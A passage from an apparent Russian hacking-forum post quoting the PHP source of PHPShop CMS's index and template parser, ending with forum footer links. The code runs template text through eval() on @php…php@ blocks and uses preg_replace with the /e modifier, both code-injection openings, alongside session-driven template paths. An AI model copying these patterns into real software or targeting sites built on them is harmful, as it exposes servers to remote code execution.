$replaces = array("/images\//i" => $SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
            
"/images/""/\/favicon.ico/i" => $root "favicon.ico""/java\//i" => $root .
            
"java/""/css\//i" => $root "css/""/phpshop\//i" => $root "phpshop/""/\/links\//i" =>
            
$root "links/""/\/files\//i" => $root "files/""/\/opros\//i" => $root .
            
"opros/""/\/page\//i" => $root "page/""/\/news\//i" => $root "news/""/\/gbook\//i" =>
            
$root "gbook/""/\/search\//i" => $root "search/""/\"\/\"/i" => $root"/\/map\//i" =>
            
$root "map/""/\/rss\//i" => $root "rss/", );
    } else {
        
$replaces = array("/images\//i" => $SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
            
"/images/""/java\//i" => "/java/""/css\//i" => "/css/""/phpshop\//i" =>
            
"/phpshop/", );
    }
    
$string preg_replace(array_keys($replaces), array_values($replaces), $string);
    echo 
$string;
}
function 
ParseTemplateReturn($TemplateName)
{
    global 
$SysValue$LoadItems$_SESSION;
    
$SysValue $GLOBALS['SysValue'];
    
$file newGetFile($SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
        
chr(47) . $TemplateName);
    
$dis newParser($file);
    return @
$dis;
}
function 
ConstantS($string)
{
    return @
preg_replace_callback("/@([[:alnum:]]+)@/""ConstantR"$string);
}
function 
allowedFunctions($str)
{
    
$allowFunctions = array('if''else''swicth''for''foreach''phpinfo',
        
'echo''print''print_r');
    
$allowFunctions array_merge($allowFunctionsexplode(','$GLOBALS['SysValue']['function']['allowed']));
    
preg_match_all('/\s*([A-Za-z0-9_]+)\s*\(/isU'$str$findedFunctions);
    
$remElements array_diff($findedFunctions[1], $allowFunctions);
    if (
count($remElements) > 0) {
        echo (
'<br><br><b>В шаблоне обнаружена запрещенная функция</b><br>');
        echo (
'Список найденных запрещенных функций:');
        echo (
'<pre>');
        foreach (
$remElements as $remElement) {
            echo (
$remElement '()<br>');
        }
        echo (
'</pre><br>');
        echo (
'Список разрешенных функций (добавить свою функцию можно в config.ini):');
        echo (
'<pre>');
        foreach (
$allowFunctions as $allowFunction) {
            echo (
$allowFunction '()<br>');
        }
        echo (
'<br>');
        echo (
'</pre><br>');
        return 
false;
    } else {
        return 
true;
    }
}
function 
evalstr($str)
{
    
ob_start();
    if (eval(
stripslashes($str[2])) !== null) {
        echo (
'<center style="color:red"><br><br><b>PHPShop Template Code: В шаблоне обнаружена ошибка выполнения php</b><br>');
        echo (
'Код содержащий ошибки:');
        echo (
'<pre>');
        echo (
$str[2]);
        echo (
'</pre></center>');
        return 
ob_get_clean();
    }
    return 
ob_get_clean();
}
function 
newParser($string)
{
    global 
$SysValue;
    
$newstring = @preg_replace_callback("/(@php)(.*)(php@)/sU""evalstr"$string);
    
$newstring = @preg_replace("/@([[:alnum:]]+)@/e"'$SysValue["other"]["\1"]'$newstring);
    return 
$newstring;
}
function 
ConstantR($array)
{
    global 
$SysValue;
    if (!empty(
$SysValue['other'][$array[1]]))
        
$string $SysValue['other'][$array[1]];
    else
        
$string null;
    return 
$string;
}
function 
newGetFile($path)
{
    
$file = @file_get_contents($path);
    if (!
$file)
        return 
false;
    return 
$file;
}
$time explode(' 'microtime());
$start_time $time[1] + $time[0];
include (
"./phpshop/class/base.class.php");
$PHPShopBase = new PHPShopBase("./phpshop/inc/config.ini");
$RegTo['RegisteredTo'] = "PHPShop CMS Free";
$RegTo['CopyrightEnabled'] = "Yes";
$RegTo['DomenLocked'] = "No";
$RegTo['CopyrightColor'] = "6A7EA1";
$RegTo['SupportExpires'] = "0";
include (
$SysValue['file']['error']);
if (empty(
$GLOBALS['p']))
    
$GLOBALS['p'] = 1;
if (
$SysValue['my']['gzip'] == "true")
    include (
$SysValue['file']['gzip']);
include (
$SysValue['class']['obj']);
include (
$SysValue['class']['array']);
include (
$SysValue['class']['category']);
include (
$SysValue['class']['system']);
include (
$SysValue['class']['page']);
include (
$SysValue['class']['photo']);
include (
$SysValue['class']['nav']);
include (
$SysValue['class']['security']);
$PHPShopSystem = new PHPShopSystem();
$LoadItems['System'] = $PHPShopSystem->getArray();
$PHPShopNav = new PHPShopNav();
include (
$SysValue['file']['engine']);
include (
$SysValue['file']['catalog']);
include (
$SysValue['file']['news']);
include (
$SysValue['file']['subnews']);
include (
$SysValue['file']['baner']);
include (
$SysValue['file']['cache']);
include (
$SysValue['file']['opros']);
if (
$LoadItems['System']['spec_num'] == 1) {
    if (isset(
$_REQUEST['skin'])) {
        if (
file_exists("phpshop/templates/" $_REQUEST['skin'] . "/index.html")) {
            
$skin $_REQUEST['skin'];
            
session_register('skin');
        }
    } elseif (empty(
$_SESSION['skin'])) {
        
$skin $LoadItems['System']['skin'];
        
session_register('skin');
    }
    
$SysValue['other']['skinSelect'] = Skin_select($_SESSION['skin']);
} else {
    
$skin $LoadItems['System']['skin'];
    
session_register('skin');
}
$LoadItems CacheReturn();
foreach (@
$SysValue['autoload'] as $val)
    if (
file_exists($val))
        include_once (
$val);
function 
GetFileInstall()
{
    global 
$SysValue;
    
$filename "./install/";
    if (
is_dir($filename))
        exit(
PHPSHOP_error(105$SysValue['my']['error_tracer']));
}
if (!
getenv("COMSPEC"))
    
$GetFileInstall GetFileInstall();
if ((isset(
$_GET['nav'])) && ($_GET['nav'] == "page")) {
    
$Check_page_skin Check_page_skin($_GET['name']);
    if (
$Check_page_skin != "") {
        
$skin $Check_page_skin;
        
session_register('skin');
    } elseif (
$LoadItems['System']['spec_num'] != 1) {
        
$skin $LoadItems['System']['skin'];
        
session_register('skin');
    }
}
if (isset(
$_POST['skin']))
    
header("Location: " htmlspecialchars($REQUEST_URI));
include (
$SysValue['file']['meta']);
$SysValue['other']['ProductName'] = $SysValue['license']['product_name'];
include (
$SysValue['file']['autoload']);
$time explode(' 'microtime());
$seconds = ($time[1] + $time[0] - $start_time);
$seconds substr($seconds06);
echo 
"<!-- StNF " $SysValue['sql']['num'] . " ~ $seconds -->";
if (
$SysValue['my']['gzip'] == "true")
    
GzDocOut($SysValue['my']['gzip_level'], $SysValue['my']['gzip_debug']); ?>

Последний раз редактировалось Seravin; 15.03.2010 в 17:34..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ